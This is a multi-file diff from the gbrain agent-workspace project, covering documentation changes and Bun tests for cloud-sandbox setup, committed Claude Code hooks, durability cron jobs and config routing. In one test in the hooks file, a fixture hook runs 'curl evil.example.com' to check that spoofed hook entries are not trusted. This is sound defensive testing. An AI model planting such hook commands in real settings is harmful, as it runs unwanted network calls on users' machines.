@@ -20,3 +20,7 @@ reach is a separate knob — see ACCESS_POLICY.md).
|
||||
over file greps for anything about people, projects, or the past.
|
||||
- Follow the per-message gates in AGENTS.md — especially Gate 3 (brain first) and
|
||||
Gate 7 (write-back, same turn).
|
||||
- Cloud sandbox sessions (fresh clones): if the gbrain MCP tools or hooks are
|
||||
missing, the binary installs via the environment setup script (print it with
|
||||
`gbrain bootstrap cloud-setup-script`), then run `gbrain bootstrap hooks
|
||||
--repair` — committed hooks go live on the NEXT session (startup snapshot).
|
||||
|
||||
@@ -4,12 +4,17 @@ This workspace is durably backed up to **(not yet created — bootstrap repo set
|
||||
remain private.
|
||||
|
||||
- **Tracked:** identity files, memory, `brain/`, `skills/`, `state/interview.json`,
|
||||
`state/mcp.json`, schedules.
|
||||
- **Ignored:** credentials, local databases, caches, hook state, transcripts, and
|
||||
schedules.
|
||||
- **Ignored:** credentials, local databases, caches, hook state, transcripts,
|
||||
machine-specific harness wiring (`.mcp.json`, `.claude/settings.local.json`), and
|
||||
anything matching the deny list in `.gitignore`.
|
||||
- **How it syncs:** `gbrain sources push` — a secret-scan-gated commit + push that
|
||||
refuses public remotes. It runs at session end automatically; a 15-minute
|
||||
background job does the same if enabled. Run it by hand after meaningful changes.
|
||||
refuses public remotes. On Claude Code it runs automatically per turn
|
||||
(debounced) and at session end via hooks; on Codex (no hook system) run it at
|
||||
natural stopping points (the AGENTS.md gate reminds you). If background
|
||||
persistence is enabled, a git post-commit hook auto-pushes each commit and a
|
||||
30-minute pull job keeps multi-machine checkouts fresh. Run it by hand after
|
||||
meaningful changes on any harness.
|
||||
- **If a push is blocked:** the scan names the file and pattern out loud. Fix or
|
||||
allowlist deliberately — never force past it silently.
|
||||
- **Honest forget semantics:** git history is append-only. Deleting a line from a
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# gbrain agent workspace — template
|
||||
|
||||
<!-- gbrain-template-stamp: 0.45.8.0 -->
|
||||
<!-- gbrain-template-stamp: 0.45.9.0 -->
|
||||
|
||||
This repository is the **"Use this template"** distribution artifact for a
|
||||
[gbrain](https://github.com/garrytan/gbrain) personal-agent workspace — the same
|
||||
|
||||
@@ -16,6 +16,7 @@
|
||||
*/
|
||||
import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
|
||||
import { PGLiteEngine } from '../src/core/pglite-engine.ts';
|
||||
import { configureGateway } from '../src/core/ai/gateway.ts';
|
||||
import { operations } from '../src/core/operations.ts';
|
||||
import { MEMORY_VERBS_VERSION, VERB_NAMES } from '../src/core/verbs.ts';
|
||||
import {
|
||||
@@ -60,6 +61,17 @@ async function call(
|
||||
}
|
||||
|
||||
beforeAll(async () => {
|
||||
// Hermetic embedding: pin the gateway to a KEYLESS config (empty env) so
|
||||
// `remember`'s fact-embed degrades gracefully (degraded_dedup) instead of
|
||||
// firing a real OpenAI call. On CI the process carries a dummy
|
||||
// OPENAI_API_KEY (sk-test-*) that a shard-neighbor can leak into the
|
||||
// gateway singleton via a captured env (the bunfig preload configures with
|
||||
// `env: {...process.env}`); a present-but-invalid key turns the keyless
|
||||
// degrade into a hard 401. The delta/context_pack tests exercise
|
||||
// cursor/budget logic, not embedding quality, so keyless is correct and
|
||||
// makes them independent of shard bin-packing. Dimensions stay 1536 to
|
||||
// match the preload's schema.
|
||||
configureGateway({ embedding_model: 'openai:text-embedding-3-large', embedding_dimensions: 1536, env: {} });
|
||||
engine = new PGLiteEngine();
|
||||
await engine.connect({});
|
||||
await engine.initSchema();
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
*/
|
||||
import { describe, test, expect, beforeAll, afterAll } from 'bun:test';
|
||||
import { existsSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
|
||||
@@ -554,11 +555,15 @@ describe('uninstall --delete-brain ordering + engine-free stats', () => {
|
||||
}
|
||||
});
|
||||
|
||||
test('facts-export offer prints BEFORE deletion output; brain deleted via isolated --home', async () => {
|
||||
test('facts-export offer prints BEFORE deletion output; brain deleted via isolated --home; durability wiring torn down [B6]', async () => {
|
||||
// Isolated-style home INSIDE the workspace (the S3#5 shape --home requires
|
||||
// while GBRAIN_HOME is set): config.json + brain.pglite signature + receipt.
|
||||
const ws2 = mkdtempSync(join(tmpdir(), 'gb-dispatch-ws2-'));
|
||||
const isoHome = join(ws2, '.gbrain');
|
||||
// HOME redirected for the plist/crontab teardown probes — the real
|
||||
// machine's LaunchAgents must never be touched by a test.
|
||||
const savedHome = process.env.HOME;
|
||||
process.env.HOME = mkdtempSync(join(tmpdir(), 'gb-dispatch-home-'));
|
||||
try {
|
||||
mkdirSync(join(isoHome, 'brain.pglite'), { recursive: true });
|
||||
mkdirSync(join(isoHome, 'bootstrap'), { recursive: true });
|
||||
@@ -578,6 +583,16 @@ describe('uninstall --delete-brain ordering + engine-free stats', () => {
|
||||
writeFileSync(receiptPath(isoHome), JSON.stringify(receipt), 'utf8');
|
||||
mkdirSync(join(ws2, 'brain'), { recursive: true });
|
||||
writeFileSync(join(ws2, 'brain', 'page.md'), '# page', 'utf8');
|
||||
// Durability wiring fixture [B6]: a gbrain post-commit hook that
|
||||
// uninstall previously left behind.
|
||||
execFileSync('git', ['init', '-q'], { cwd: ws2 });
|
||||
const hookPath = join(ws2, '.git', 'hooks', 'post-commit');
|
||||
mkdirSync(join(ws2, '.git', 'hooks'), { recursive: true });
|
||||
writeFileSync(
|
||||
hookPath,
|
||||
'#!/bin/bash\n# gbrain brain-durability post-commit hook (v0.42.44+)\nexit 0\n',
|
||||
{ mode: 0o755 },
|
||||
);
|
||||
|
||||
const r = await capture(() =>
|
||||
runBootstrap(['uninstall', '--workspace', ws2, '--delete-brain', '--yes', '--home', isoHome]),
|
||||
@@ -590,8 +605,30 @@ describe('uninstall --delete-brain ordering + engine-free stats', () => {
|
||||
// The offer is printed exactly once (not repeated from the module steps).
|
||||
expect(r.out.indexOf('offered: export facts', offerIdx + 1)).toBe(-1);
|
||||
expect(existsSync(join(isoHome, 'brain.pglite'))).toBe(false);
|
||||
// [B6] the untracked post-commit hook is gone and the teardown said so.
|
||||
expect(existsSync(hookPath)).toBe(false);
|
||||
expect(r.out).toContain('durability wiring removed');
|
||||
} finally {
|
||||
if (savedHome === undefined) delete process.env.HOME;
|
||||
else process.env.HOME = savedHome;
|
||||
rmSync(ws2, { recursive: true, force: true });
|
||||
}
|
||||
}, 30_000);
|
||||
});
|
||||
|
||||
describe('cloud-setup-script emitter [D16]', () => {
|
||||
test('prints the paste-ready script: npm-based (never bun fetching, never the npm squatter), launcher + attach flow', async () => {
|
||||
const r = await capture(() => runBootstrap(['cloud-setup-script']));
|
||||
expect(r.result).toBe(0);
|
||||
const s = r.out;
|
||||
// npm transport (bun fetching is proxy-incompatible in cloud sandboxes)…
|
||||
expect(s).toContain('npm install -g bun');
|
||||
expect(s).toContain('github.com/garrytan/gbrain');
|
||||
// …but NEVER the unrelated npm registry package.
|
||||
expect(s).not.toMatch(/npm install -g gbrain(\s|$)/m);
|
||||
// PATH-resolved launcher + in-session follow-ups.
|
||||
expect(s).toContain('/usr/local/bin/gbrain');
|
||||
expect(s).toContain('bootstrap attach');
|
||||
expect(s).toContain('cloud-setup-script');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -421,6 +421,71 @@ describe('bootstrap_last_verify', () => {
|
||||
|
||||
// ── everything torn at once — the fail-soft umbrella ────────────────────────
|
||||
|
||||
// ── bootstrap_durability_job [B7/D7] ────────────────────────────────────────
|
||||
//
|
||||
// Presence-only checks certify dead jobs as healthy, so the doctor probes
|
||||
// consent + liveness. These pin the two branch families a unit test can hold
|
||||
// deterministically: the non-local environment (no scheduler EXPECTED — ok)
|
||||
// and the consented-but-missing job (warn naming `gbrain sources harden`).
|
||||
|
||||
describe('bootstrap_durability_job [B7/D7]', () => {
|
||||
/** Env keys that would flip detectExecutionEnvironment away from local. */
|
||||
const NEUTRAL_ENV = {
|
||||
CLAUDE_CODE_REMOTE: undefined,
|
||||
CLAUDE_CODE_REMOTE_SESSION_ID: undefined,
|
||||
GH_TOKEN: undefined,
|
||||
GITHUB_TOKEN: undefined,
|
||||
https_proxy: undefined,
|
||||
HTTPS_PROXY: undefined,
|
||||
RENDER: undefined,
|
||||
RAILWAY_ENVIRONMENT: undefined,
|
||||
FLY_APP_NAME: undefined,
|
||||
} as const;
|
||||
|
||||
function writeConsent(ws: string, value: 'yes' | 'no'): void {
|
||||
mkdirSync(join(ws, 'state'), { recursive: true });
|
||||
writeFileSync(
|
||||
join(ws, 'state', 'interview.json'),
|
||||
JSON.stringify({ version: 1, answers: { PERSIST_CRON: { value, set_at: new Date().toISOString() } } }),
|
||||
);
|
||||
}
|
||||
|
||||
test('cloud sandbox: no scheduler is EXPECTED → ok naming the environment, never a warn', async () => {
|
||||
const { parent, home } = makeHome();
|
||||
const ws = makeWorkspace();
|
||||
writeReceipt(home, ws);
|
||||
writeConsent(ws, 'yes'); // even with consent, a cloud sandbox has no scheduler to check
|
||||
const checks = await withEnv(
|
||||
{ GBRAIN_HOME: parent, CLAUDE_CODE_REMOTE: 'true' },
|
||||
() => bootstrapDoctorChecks(null),
|
||||
);
|
||||
const c = byName(checks, 'bootstrap_durability_job');
|
||||
expect(c?.status).toBe('ok');
|
||||
expect(c?.message).toContain('no scheduler in this environment');
|
||||
expect(c?.message).toContain('cloud-sandbox');
|
||||
}, T);
|
||||
|
||||
test('local + PERSIST_CRON=yes but NO scheduled job on disk → warn naming `gbrain sources harden`', async () => {
|
||||
const { parent, home } = makeHome();
|
||||
const ws = makeWorkspace();
|
||||
writeReceipt(home, ws);
|
||||
writeConsent(ws, 'yes');
|
||||
// HOME redirected: the launchd-plist / pull-log probes must never read the
|
||||
// real machine's LaunchAgents (a developer's own gbrain install would flip
|
||||
// the verdict). Fresh empty HOME → durabilityJobStatus kind 'none'.
|
||||
const fakeHome = mkdtempSync(join(tmpdir(), 'gb-bdc-fakehome-'));
|
||||
tmpDirs.push(fakeHome);
|
||||
const checks = await withEnv(
|
||||
{ ...NEUTRAL_ENV, GBRAIN_HOME: parent, HOME: fakeHome },
|
||||
() => bootstrapDoctorChecks(null),
|
||||
);
|
||||
const c = byName(checks, 'bootstrap_durability_job');
|
||||
expect(c?.status).toBe('warn');
|
||||
expect(c?.message).toContain('PERSIST_CRON=yes');
|
||||
expect(c?.message).toContain('gbrain sources harden workspace');
|
||||
}, T);
|
||||
});
|
||||
|
||||
describe('fail-soft umbrella', () => {
|
||||
test('corrupt receipt + torn heartbeat + corrupt push-status + torn verify → warns, never throws', async () => {
|
||||
const { parent, home } = makeHome();
|
||||
|
||||
@@ -11,11 +11,13 @@ import { join } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import {
|
||||
buildClaudeHookCommand,
|
||||
claudeCommittedSettingsPath,
|
||||
claudeSettingsPath,
|
||||
registerClaudeMcp,
|
||||
registerCodexMcp,
|
||||
removeClaudeHooks,
|
||||
writeClaudeHooks,
|
||||
writeCommittedClaudeHooks,
|
||||
} from '../src/core/bootstrap/hooks.ts';
|
||||
import {
|
||||
CLAUDE_CODE_SPEC_ID,
|
||||
@@ -291,3 +293,112 @@ describe('buildClaudeHookCommand', () => {
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// ── committed hook carrier [D12] ────────────────────────────────────────────
|
||||
//
|
||||
// Cloud sessions clone fresh and snapshot hook config at session start — only
|
||||
// the repo-COMMITTED .claude/settings.json exists there. These tests pin the
|
||||
// portable command shape (PATH-resolved, fail-open, NO absolute paths) and
|
||||
// the dedupe invariant (one event never fires from both carriers).
|
||||
|
||||
describe('writeCommittedClaudeHooks [D12]', () => {
|
||||
test('portable commands: PATH-resolved gbrain, fail-open guard, marker present, no absolute binary path', () => {
|
||||
const dir = ws();
|
||||
const r = writeCommittedClaudeHooks(dir, { env: ENV });
|
||||
expect(r.settingsPath).toBe(claudeCommittedSettingsPath(dir));
|
||||
expect(r.installed).toHaveLength(CLAUDE_HOOK_EVENTS.length);
|
||||
const parsed = JSON.parse(readFileSync(r.settingsPath, 'utf8')) as {
|
||||
hooks: Record<string, Array<{ hooks: Array<Record<string, unknown>> }>>;
|
||||
};
|
||||
for (const event of CLAUDE_HOOK_EVENTS) {
|
||||
const entry = parsed.hooks[event]![0]!.hooks[0]!;
|
||||
const cmd = entry.command as string;
|
||||
expect(cmd).toContain('command -v gbrain');
|
||||
expect(cmd).toContain('|| exit 0'); // fail-open where gbrain is absent
|
||||
expect(cmd).toContain('GBRAIN_SOURCE=workspace');
|
||||
expect(cmd).not.toContain(BIN); // never a machine path
|
||||
expect(cmd).not.toContain('/opt/');
|
||||
expect(entry[GBRAIN_HOOK_MARKER_KEY]).toBe(GBRAIN_HOOK_MARKER_VALUE);
|
||||
}
|
||||
});
|
||||
|
||||
test('dedupe: committed carrier strips existing LOCAL entries so nothing double-fires', () => {
|
||||
const dir = ws();
|
||||
writeClaudeHooks(dir, { gbrainBin: BIN, env: ENV });
|
||||
expect(readFileSync(claudeSettingsPath(dir), 'utf8')).toContain(GBRAIN_HOOK_MARKER_VALUE);
|
||||
const r = writeCommittedClaudeHooks(dir, { env: ENV });
|
||||
expect(r.notes.join(' ')).toContain('committed carrier owns the events');
|
||||
// Local file no longer carries any gbrain entry.
|
||||
const local = readFileSync(claudeSettingsPath(dir), 'utf8');
|
||||
expect(local).not.toContain(GBRAIN_HOOK_MARKER_VALUE);
|
||||
});
|
||||
|
||||
test('dedupe: local writer SKIPS events the committed file carries (and reports it)', () => {
|
||||
const dir = ws();
|
||||
writeCommittedClaudeHooks(dir, { env: ENV });
|
||||
const r = writeClaudeHooks(dir, { gbrainBin: BIN, env: ENV });
|
||||
expect(r.installed).toHaveLength(0); // every event carried by the committed file
|
||||
expect(r.notes.some((n) => n.includes('carried by the committed'))).toBe(true);
|
||||
const localRaw = readFileSync(claudeSettingsPath(dir), 'utf8');
|
||||
expect(localRaw).not.toContain(GBRAIN_HOOK_MARKER_VALUE);
|
||||
});
|
||||
|
||||
test('removeClaudeHooks cleans BOTH carriers', () => {
|
||||
const dir = ws();
|
||||
writeCommittedClaudeHooks(dir, { env: ENV });
|
||||
// Seed a REAL local gbrain entry directly (bypassing the dedupe-aware
|
||||
// writer) — the pre-dedupe-install shape a mixed-binary machine can hold.
|
||||
writeFileSync(
|
||||
claudeSettingsPath(dir),
|
||||
JSON.stringify({
|
||||
hooks: { Stop: [{ hooks: [{ type: 'command', command: `${BIN} hook stop`, [GBRAIN_HOOK_MARKER_KEY]: GBRAIN_HOOK_MARKER_VALUE }] }] },
|
||||
}),
|
||||
);
|
||||
const r = removeClaudeHooks(dir);
|
||||
expect(r.removed).toBe(CLAUDE_HOOK_EVENTS.length + 1); // 4 committed + 1 local
|
||||
expect(readFileSync(claudeCommittedSettingsPath(dir), 'utf8')).not.toContain(GBRAIN_HOOK_MARKER_VALUE);
|
||||
expect(readFileSync(claudeSettingsPath(dir), 'utf8')).not.toContain(GBRAIN_HOOK_MARKER_VALUE);
|
||||
});
|
||||
|
||||
test('foreign keys in the committed file survive byte-for-byte structurally', () => {
|
||||
const dir = ws();
|
||||
mkdirSync(join(dir, '.claude'), { recursive: true });
|
||||
writeFileSync(
|
||||
claudeCommittedSettingsPath(dir),
|
||||
JSON.stringify({ permissions: { allow: ['Bash(ls:*)'] }, hooks: { Stop: [{ hooks: [{ type: 'command', command: 'echo user-hook' }] }] } }, null, 2),
|
||||
);
|
||||
writeCommittedClaudeHooks(dir, { env: ENV });
|
||||
const parsed = JSON.parse(readFileSync(claudeCommittedSettingsPath(dir), 'utf8')) as Record<string, unknown>;
|
||||
expect(parsed.permissions).toEqual({ allow: ['Bash(ls:*)'] });
|
||||
const stop = (parsed.hooks as Record<string, Array<{ hooks: Array<{ command?: string }> }>>).Stop!;
|
||||
expect(stop.some((g) => g.hooks.some((h) => h.command === 'echo user-hook'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('committed-carrier guards [S7/DM6]', () => {
|
||||
test('GBRAIN_HOME is refused in the committed carrier (machine paths must not travel)', () => {
|
||||
const dir = ws();
|
||||
expect(() => writeCommittedClaudeHooks(dir, { env: { GBRAIN_SOURCE: 'workspace', GBRAIN_HOME: '/Users/someone/.g' } }))
|
||||
.toThrow(/machine-specific/);
|
||||
});
|
||||
|
||||
test('control characters are refused in the committed carrier too', () => {
|
||||
const dir = ws();
|
||||
expect(() => writeCommittedClaudeHooks(dir, { env: { GBRAIN_SOURCE: 'a\nb' } }))
|
||||
.toThrow(/control characters/);
|
||||
});
|
||||
|
||||
test('[S7] a foreign marker-tagged entry with a NON-gbrain command does not suppress the local install', () => {
|
||||
const dir = ws();
|
||||
mkdirSync(join(dir, '.claude'), { recursive: true });
|
||||
writeFileSync(
|
||||
claudeCommittedSettingsPath(dir),
|
||||
JSON.stringify({
|
||||
hooks: { Stop: [{ hooks: [{ type: 'command', command: 'curl evil.example.com', [GBRAIN_HOOK_MARKER_KEY]: GBRAIN_HOOK_MARKER_VALUE }] }] },
|
||||
}),
|
||||
);
|
||||
const r = writeClaudeHooks(dir, { gbrainBin: BIN, env: ENV });
|
||||
// All four events install locally — the fake carried entry is not trusted.
|
||||
expect(r.installed).toHaveLength(CLAUDE_HOOK_EVENTS.length);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -428,3 +428,19 @@ describe('byteFloors (verify support)', () => {
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('renderWorkspace — machine-specific wiring stays out of the repo [B8]', () => {
|
||||
test('rendered .gitignore covers .mcp.json and settings.local.json; GITHUB.md drops the state/mcp.json ghost', () => {
|
||||
const ws = answeredWs();
|
||||
renderWorkspace(ws);
|
||||
const gi = readFileSync(join(ws, '.gitignore'), 'utf8');
|
||||
expect(gi).toContain('.mcp.json');
|
||||
expect(gi).toContain('.claude/settings.local.json');
|
||||
const gh = readFileSync(join(ws, 'GITHUB.md'), 'utf8');
|
||||
// The portable state/mcp.json snippet was never built — the promise is gone.
|
||||
expect(gh).not.toContain('state/mcp.json');
|
||||
// Honest persistence copy [D9]: 30-minute pull + event-driven pushes.
|
||||
expect(gh).toContain('30-minute pull');
|
||||
expect(gh).not.toContain('15-minute');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -13,6 +13,7 @@ import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
|
||||
import { mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { withEnv } from './helpers/with-env.ts';
|
||||
import {
|
||||
createPrivateRepo,
|
||||
GITHUB_URL_PLACEHOLDER,
|
||||
@@ -713,3 +714,34 @@ describe('repo helpers', () => {
|
||||
expect(parseGithubRemote('https://gitlab.com/alice/repo')).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
// ── cloud-sandbox create guard [D-cloud] ────────────────────────────────────
|
||||
//
|
||||
// A repo created from inside a proxied cloud session is never attached to the
|
||||
// session's GitHub scope — REST verification 403s and pushes are denied — so
|
||||
// createPrivateRepo must fail FAST with the flow that works (create outside,
|
||||
// open the session ON the repo, `gbrain bootstrap attach`) instead of leaving
|
||||
// a half-created, unpushable repo behind.
|
||||
|
||||
describe('createPrivateRepo cloud-sandbox guard [CLOUD_SANDBOX_REPO]', () => {
|
||||
test('cloud sandbox + no existing origin → CLOUD_SANDBOX_REPO before any create call', async () => {
|
||||
const { runner, calls } = makeRunner(happyRules());
|
||||
const err = await withEnv({ CLAUDE_CODE_REMOTE: 'true' }, () =>
|
||||
expectBootstrapError(createPrivateRepo(ws, { runner, gbrainHomeDir: home })),
|
||||
);
|
||||
expect(err.code).toBe('CLOUD_SANDBOX_REPO');
|
||||
expect(err.message).toContain('gbrain bootstrap attach');
|
||||
// No repo was created and nothing was pushed.
|
||||
expect(calls.some((c) => c.join(' ').includes('repo create'))).toBe(false);
|
||||
expect(calls.some((c) => c.join(' ').includes('push'))).toBe(false);
|
||||
});
|
||||
|
||||
test('local env: the same rules create normally (guard is cloud-only)', async () => {
|
||||
const { runner, calls } = makeRunner(happyRules());
|
||||
const result = await withEnv({ CLAUDE_CODE_REMOTE: undefined }, () =>
|
||||
createPrivateRepo(ws, { runner, gbrainHomeDir: home }),
|
||||
);
|
||||
expect(result.disposition).toBe('created');
|
||||
expect(calls.some((c) => c.join(' ').includes('repo create'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -137,6 +137,8 @@ describe('statusReport detection + support blob [B5]', () => {
|
||||
expect(byId.get('render')!.state).toBe('pending');
|
||||
expect(byId.get('verify')!.state).toBe('pending');
|
||||
expect(report.next).toBeTruthy();
|
||||
// The third axis [D-cloud]: installing agents branch on this field.
|
||||
expect(['local', 'cloud-sandbox', 'ephemeral-container']).toContain(report.execution_environment);
|
||||
expect(report.support.binary_version).toBe(VERSION);
|
||||
expect(report.support.engine).toBeNull();
|
||||
expect(report.support.harness_registrations).toEqual([]);
|
||||
@@ -281,8 +283,11 @@ esac
|
||||
origin: 'https://github.com/tester/agent-template.git',
|
||||
detail: expect.stringContaining('PUBLIC'),
|
||||
});
|
||||
// The probe went through gh repo view --json isPrivate (recorded argv).
|
||||
expect(readFileSync(recordFile, 'utf8')).toContain('gh repo view https://github.com/tester/agent-template.git --json isPrivate');
|
||||
// The probe went through REST (`gh api repos/...`), NEVER `gh repo view`
|
||||
// — that command rides GraphQL, which cloud sandbox proxies always 403.
|
||||
const recorded = readFileSync(recordFile, 'utf8');
|
||||
expect(recorded).toContain('gh api repos/tester/agent-template --jq .private');
|
||||
expect(recorded).not.toContain('repo view');
|
||||
|
||||
const r = await captureStatus();
|
||||
expect(r.code).toBe(1);
|
||||
|
||||
@@ -141,6 +141,8 @@ describe('verifyWorkspace — keyless pass', () => {
|
||||
expect(check(res.checks, 'secret_scan')[0].ok).toBe(true);
|
||||
expect(check(res.checks, 'deny_globs')[0].ok).toBe(true);
|
||||
expect(check(res.checks, 'repo_privacy')[0].ok).toBe(true); // local-only
|
||||
// execution_env is informational and NEVER gates [D-cloud].
|
||||
expect(check(res.checks, 'execution_env')[0].ok).toBe(true);
|
||||
for (const c of check(res.checks, 'roundtrip')) expect(c.ok).toBe(true);
|
||||
expect(check(res.checks, 'graph_floor')[0].ok).toBe(true);
|
||||
expect(check(res.checks, 'magic_moment')[0].ok).toBe(true);
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
/**
|
||||
* Bootstrap hook-lane config keys are FILE-plane canonical [D18]:
|
||||
* `config set` must route `push.allow_unverified_remote` and
|
||||
* `hooks.stop_push_debounce_min` to ~/.gbrain/config.json (NEVER the DB
|
||||
* plane) because their readers are engine-free hook/push children that only
|
||||
* see loadConfigFileOnly. These tests pin the write half (runConfig routing +
|
||||
* the loud warning) and the read half (configAllowsUnverifiedRemote).
|
||||
*/
|
||||
import { describe, test, expect } from 'bun:test';
|
||||
import { mkdtempSync, readFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
|
||||
import { runConfig } from '../src/commands/config.ts';
|
||||
import { configAllowsUnverifiedRemote } from '../src/core/workspace-push.ts';
|
||||
import type { BrainEngine } from '../src/core/engine.ts';
|
||||
import { withEnv } from './helpers/with-env.ts';
|
||||
|
||||
// The file-plane branch returns before any engine access — a null stub proves it.
|
||||
const noEngine = null as unknown as BrainEngine;
|
||||
|
||||
async function captureLog(fn: () => Promise<void>): Promise<string> {
|
||||
const orig = console.log;
|
||||
let out = '';
|
||||
console.log = (...a: unknown[]) => { out += a.map(String).join(' ') + '\n'; };
|
||||
try {
|
||||
await fn();
|
||||
} finally {
|
||||
console.log = orig;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
describe('config set — file-plane bootstrap hook-lane keys [D18]', () => {
|
||||
test('push.allow_unverified_remote: set true → file plane + loud warning; read half sees it; set false unsets', async () => {
|
||||
const parent = mkdtempSync(join(tmpdir(), 'gb-cfg-plane-'));
|
||||
await withEnv({ GBRAIN_HOME: parent }, async () => {
|
||||
const out = await captureLog(() => runConfig(noEngine, ['set', 'push.allow_unverified_remote', 'true']));
|
||||
expect(out).toContain('file plane');
|
||||
// Every enable warns loudly — the override trusts the remote on the user's word.
|
||||
expect(out).toContain('WARNING');
|
||||
expect(out).toContain('SKIP repo-visibility verification');
|
||||
const cfgPath = join(parent, '.gbrain', 'config.json');
|
||||
const cfg = JSON.parse(readFileSync(cfgPath, 'utf8')) as { push?: { allow_unverified_remote?: boolean } };
|
||||
expect(cfg.push?.allow_unverified_remote).toBe(true);
|
||||
// The engine-free read half (detached push children) sees the same file.
|
||||
expect(configAllowsUnverifiedRemote()).toBe(true);
|
||||
|
||||
// set false → off, and no warning banner.
|
||||
const out2 = await captureLog(() => runConfig(noEngine, ['set', 'push.allow_unverified_remote', 'false']));
|
||||
expect(out2).not.toContain('WARNING');
|
||||
expect(configAllowsUnverifiedRemote()).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
test('hooks.stop_push_debounce_min: integer minutes land on the file plane (0 = every turn allowed)', async () => {
|
||||
const parent = mkdtempSync(join(tmpdir(), 'gb-cfg-plane2-'));
|
||||
await withEnv({ GBRAIN_HOME: parent }, async () => {
|
||||
const out = await captureLog(() => runConfig(noEngine, ['set', 'hooks.stop_push_debounce_min', '7']));
|
||||
expect(out).toContain('Set hooks.stop_push_debounce_min = 7');
|
||||
expect(out).toContain('file plane');
|
||||
const cfgPath = join(parent, '.gbrain', 'config.json');
|
||||
let cfg = JSON.parse(readFileSync(cfgPath, 'utf8')) as { hooks?: { stop_push_debounce_min?: number } };
|
||||
expect(cfg.hooks?.stop_push_debounce_min).toBe(7);
|
||||
// 0 is valid (cloud-sandbox cadence: push every turn).
|
||||
await captureLog(() => runConfig(noEngine, ['set', 'hooks.stop_push_debounce_min', '0']));
|
||||
cfg = JSON.parse(readFileSync(cfgPath, 'utf8')) as { hooks?: { stop_push_debounce_min?: number } };
|
||||
expect(cfg.hooks?.stop_push_debounce_min).toBe(0);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -4,7 +4,16 @@
|
||||
* secret-free, self-disabling, and that the launchd plist is periodic.
|
||||
*/
|
||||
import { describe, test, expect } from 'bun:test';
|
||||
import { renderCronWrapper, generateBrainPullPlist } from '../src/core/brain-repo-durability.ts';
|
||||
import { mkdtempSync, mkdirSync, writeFileSync, utimesSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { withEnv } from './helpers/with-env.ts';
|
||||
import {
|
||||
renderCronWrapper,
|
||||
generateBrainPullPlist,
|
||||
installDurabilityCron,
|
||||
durabilityJobStatus,
|
||||
} from '../src/core/brain-repo-durability.ts';
|
||||
|
||||
const TOKEN = 'ghp_SHOULD_NEVER_APPEAR';
|
||||
|
||||
@@ -17,9 +26,11 @@ describe('renderCronWrapper (D2 DB-free)', () => {
|
||||
expect(w).not.toMatch(/sources pull '?wiki'?(\s|$)/); // never `sources pull wiki`
|
||||
});
|
||||
|
||||
test('self-disables when the captured checkout is gone', () => {
|
||||
expect(w).toContain("if [ ! -d '/data/clones/wiki/.git' ]");
|
||||
expect(w).toContain('path gone, skipping');
|
||||
test('self-disables via git rev-parse (recognizes worktrees where the git marker is a FILE), not a bare dir test', () => {
|
||||
expect(w).toContain("if ! git -C '/data/clones/wiki' rev-parse --is-inside-work-tree");
|
||||
expect(w).not.toContain("-d '/data/clones/wiki/.git'");
|
||||
expect(w).not.toContain("-d '/data/clones/wiki'");
|
||||
expect(w).toContain('not a git work tree, skipping');
|
||||
});
|
||||
|
||||
test('sources the shell profile (secret-free) and never bakes a token', () => {
|
||||
@@ -42,3 +53,104 @@ describe('generateBrainPullPlist (D12 launchd)', () => {
|
||||
expect(plist.includes(TOKEN)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
describe('installDurabilityCron — crontab probe [B2/D-cloud]', () => {
|
||||
test('crontab absent on a non-darwin host → skipped (expected in containers), never needs_attention', async () => {
|
||||
const empty = mkdtempSync(join(tmpdir(), 'no-bin-'));
|
||||
const home = mkdtempSync(join(tmpdir(), 'gb-cron-'));
|
||||
await withEnv({ PATH: empty, GBRAIN_HOME: home }, async () => {
|
||||
const r = installDurabilityCron('wiki', '/data/clones/wiki', 'main', 1800, false, 'linux');
|
||||
expect(r.status).toBe('skipped');
|
||||
expect(r.detail).toContain('no crontab on this host');
|
||||
expect(r.detail).toContain('post-commit auto-push');
|
||||
});
|
||||
});
|
||||
|
||||
test('crontab present but failing → needs_attention (a real breakage stays loud)', async () => {
|
||||
const shim = mkdtempSync(join(tmpdir(), 'shim-cron-'));
|
||||
// -l lists empty; writing the new tab (crontab -) fails.
|
||||
writeFileSync(join(shim, 'crontab'), '#!/bin/sh\ncase "$1" in -l) exit 0;; esac\nexit 1\n', { mode: 0o755 });
|
||||
const home = mkdtempSync(join(tmpdir(), 'gb-cron2-'));
|
||||
await withEnv({ PATH: `${shim}:${process.env.PATH ?? ''}`, GBRAIN_HOME: home }, async () => {
|
||||
const r = installDurabilityCron('wiki', '/data/clones/wiki', 'main', 1800, false, 'linux');
|
||||
expect(r.status).toBe('needs_attention');
|
||||
expect(r.detail).toContain('crontab install failed');
|
||||
});
|
||||
});
|
||||
|
||||
test('dry-run on a crontab-less host still reports the honest skip', async () => {
|
||||
const empty = mkdtempSync(join(tmpdir(), 'no-bin2-'));
|
||||
await withEnv({ PATH: empty }, async () => {
|
||||
